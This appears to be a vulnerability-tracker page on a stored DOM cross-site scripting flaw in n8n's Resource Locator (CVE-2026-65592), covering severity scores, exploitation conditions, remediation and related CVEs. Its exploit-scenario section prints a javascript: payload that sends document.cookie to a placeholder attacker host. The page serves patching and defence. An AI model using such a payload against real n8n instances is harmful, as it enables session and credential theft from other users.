Skip to main content

n8n CVE-2026-65592

| EUVDEUVD-2026-47636 HIGH
Cross-site Scripting (XSS) (CWE-79)
8.4
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain workflow editor access
  2. Delivery
    Store javascript: URI in cachedResultUrl
  3. Exploit
    Share crafted workflow with victim
  4. Execution
    Victim opens workflow and clicks link
  5. Persist
    window.open() executes payload
  6. Impact
    Steal session and pivot

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the attacker to hold workflow creation or editing privileges (PR:L) on the target n8n instance and to persist a malicious scheme (e.g., javascript:) in the Resource Locator's cachedResultUrl field. Execution is gated by victim interaction: a different, typically higher-privileged user must open the crafted workflow AND actively click/interact with the external link that triggers window.open() (UI:A/Passive). It therefore does NOT work against a default single-user deployment with no untrusted authors; it is realistic only where workflow authoring is delegated to lower-trust users or workflows are imported/shared across trust boundaries. The affected n8n versions are those before 1.123.64, 2.29.8, and 2.30.1.

Impact

The CVSS 4.0 base score of 8.4 (High) reflects network reach (AV:N), low complexity (AC:L), but crucially PR:L and UI:A (Passive) - meaning the attacker must already hold workflow create/edit rights and the victim must open the workflow and interact with a link. This is a meaningful gate: it is not remote-unauthenticated. VC:H/VI:H reflect that script running in a victim's authenticated n8n session can compromise their credentials, workflows, and connected integrations, while VA:N and SC:L/SI:L reflect limited/partial subsequent-system impact. EPSS is not provided; KEV status is not listed (no active exploitation); and no POC is referenced - so this is a credible but not currently weaponized issue. The primary real-world risk is in multi-user or multi-tenant n8n deployments where lower-trust users can author workflows shared with or reviewed by higher-privileged operators. In single-user self-hosted setups the risk is largely self-inflicted and low.

Exploit ScenarioDerived

A low-privileged user on a shared n8n instance crafts a workflow whose Resource Locator field stores a cachedResultUrl of javascript:fetch('//attacker/'+document.cookie), then shares or submits it for review. When an administrator opens the workflow and clicks the external resource link, window.open() executes the payload in the admin's authenticated session, enabling credential/session theft or workflow tampering. No public POC is currently referenced.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.4% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 22, 2026

Stored DOM cross-site scripting in n8n's Resource Locator component allows a low-privileged workflow author to execute arbitrary JavaScript in another user's browser session. The flaw stems from the workflow-persisted cachedResultUrl value being passed to window.open() without scheme validation, letting a javascript: URI fire when a victim opens the crafted workflow and clicks an external link. No public exploit has been identified at time of analysis, and it is not listed in CISA KEV, but exploitation is realistic in shared/multi-tenant n8n instances.

RemediationAI

Upgrade to a fixed release: n8n 1.123.64 (1.x line), 2.29.8 (2.29 branch), or 2.30.1 (2.30 branch), whichever matches your deployed major/minor version, per vendor advisory GHSA-9wcp-9r3j-383q. Until patching, limit workflow creation/editing to trusted operators and review any shared or imported workflows before opening them, since exploitation requires an attacker-authored workflow - restricting or auditing the pool of workflow authors directly removes the attack surface at the cost of collaboration friction. Avoid opening or clicking external links within untrusted workflows, and consider a browser-side or reverse-proxy Content-Security-Policy that blocks inline/javascript: script execution as defense-in-depth, noting CSP can break legitimate front-end features and should be tested against n8n's UI first.

Affected VersionsENISA

n8n 0 <2.30.1
n8n 0 <1.123.64
n8n 0 <2.29.8

Affected Packages

npm n8n fix: 1.123.64, 2.29.8, 2.30.1

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

n8n is a self-hosted, fair-code workflow automation platform (a Node.js/Vue front-end orchestration tool). The Resource Locator is a UI control that lets nodes reference external resources and stores a human-friendly cachedResultUrl alongside the resource ID. Because this cached URL is persisted inside the workflow definition and later handed to window.open() on the client, an attacker-controlled string reaches a DOM sink without output sanitization or scheme allow-listing - the CWE-79 root cause. Browsers treat window.open('javascript:...') as script execution in the opener's origin, turning a stored data field into a DOM-based XSS sink. The affected code path exists in n8n versions prior to 1.123.64, 2.29.8, and 2.30.1 (cpe:2.3:a:n8n-io:n8n).

Know when N8n gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 8.4 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N
vuln.today AI 8.7 HIGH

Attacker needs workflow-edit rights (PR:L) and victim interaction (UI:R); script runs in the victim's origin crossing a privilege boundary (S:C) enabling session/credential compromise (C:H/I:H, A:N).

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
Active
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
None

Lifecycle Timeline

2
Patch available
Jul 22, 2026 - 13:02 EUVD
CVE Published
Jul 22, 2026 - 11:21 cve.org
HIGH 8.4

DescriptionCVE.org

n8n before 1.123.64, 2.29.8, and 2.30.1 contains a stored DOM cross-site scripting vulnerability in the Resource Locator component, which passes the workflow-persisted cachedResultUrl parameter to window.open() without scheme validation. An attacker with workflow creation/editing privileges can craft a workflow with a malicious (e.g., javascript:) scheme in cachedResultUrl; when a victim opens the crafted workflow and interacts with external links, the payload executes in the victim's browser.

Executive ViewAI

Why It Matters

A stored cross-site scripting vulnerability (CVE-2026-65592, CVSS 8.4) in n8n's Resource Locator component enables authenticated low-privileged workflow authors to inject malicious JavaScript that executes in other users' browser sessions. While no public exploit has been identified at time of analysis, the vulnerability poses immediate risk in multi-tenant or shared n8n deployments, as attackers with basic author privileges can hijack sessions, steal credentials, or escalate privileges. Organizations should immediately assess exposure and implement interim controls until vendor remediation becomes available.

Business Impact: High
Compensating Controls

Enforce strict Content Security Policy headers to block javascript: scheme execution; restrict workflow creation and sharing permissions to trusted personnel only; implement real-time detection and alerting on suspicious workflow modifications or Resource Locator external link invocations; disable external link functionality at the reverse proxy or network edge if operationally acceptable; conduct immediate forensic audit of existing workflows for malicious cachedResultUrl payloads and remove or quarantine suspicious workflows; if using multi-tenancy, segregate instances by user trust boundary to limit cross-user blast radius.

Threat Intelligence Overview

EPSS Score
0.4%
Top 66% exploitable
Prevalence
Medium
popular self-hosted workflow automation tool, common but not ubiquitous
Threat Intel
1
1 sources
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.4%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

42
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +42
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

More in N8n

View all
CVE-2025-68613 HIGH POC
8.8 Dec 19

Remote code execution in n8n's workflow expression evaluation system allows an authenticated user with workflow creation

CVE-2026-21877 CRITICAL POC
9.9 Jan 08

n8n workflow automation (through 1.121.2) allows authenticated users to execute arbitrary code via the n8n service, with

CVE-2026-21858 CRITICAL POC
10.0 Jan 08

n8n workflow automation (1.65.0 to 1.121.0) allows unauthenticated file access through form-based workflows. A critical

CVE-2026-1470 CRITICAL POC
9.9 Jan 27

n8n has a fifth critical RCE vulnerability (CVSS 9.9) in the Expression evaluator, enabling code execution through craft

CVE-2025-65964 CRITICAL POC
9.4 Dec 09

Authenticated users who can create or modify an n8n workflow can achieve remote code execution on the n8n host by abusin

CVE-2026-33696 CRITICAL POC
9.4 Mar 25

A prototype pollution vulnerability in the XML and GSuiteAdmin nodes of n8n workflow automation platform allows authenti

CVE-2026-33660 CRITICAL POC
9.4 Mar 25

An authenticated user with workflow creation or modification privileges in n8n workflow automation platform can exploit

CVE-2025-55526 CRITICAL POC
9.1 Aug 26

n8n-workflows Main Commit ee25413 allows attackers to execute a directory traversal via the download_workflow function w

CVE-2026-33665 HIGH POC
8.8 Mar 25

Authenticated n8n users can hijack administrator accounts when LDAP authentication is enabled by manipulating their LDAP

CVE-2023-27563 HIGH POC
8.8 May 10

The n8n package 0.218.0 for Node.js allows Escalation of Privileges. Rated high severity (CVSS 8.8), this vulnerability

CVE-2026-33713 HIGH POC
8.7 Mar 25

SQL injection in n8n's Data Table Get node allows authenticated users with workflow modification permissions to execute

CVE-2026-0863 HIGH POC
8.5 Jan 18

Authenticated users can exploit string formatting and exception handling in n8n's Python task executor to escape sandbox

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy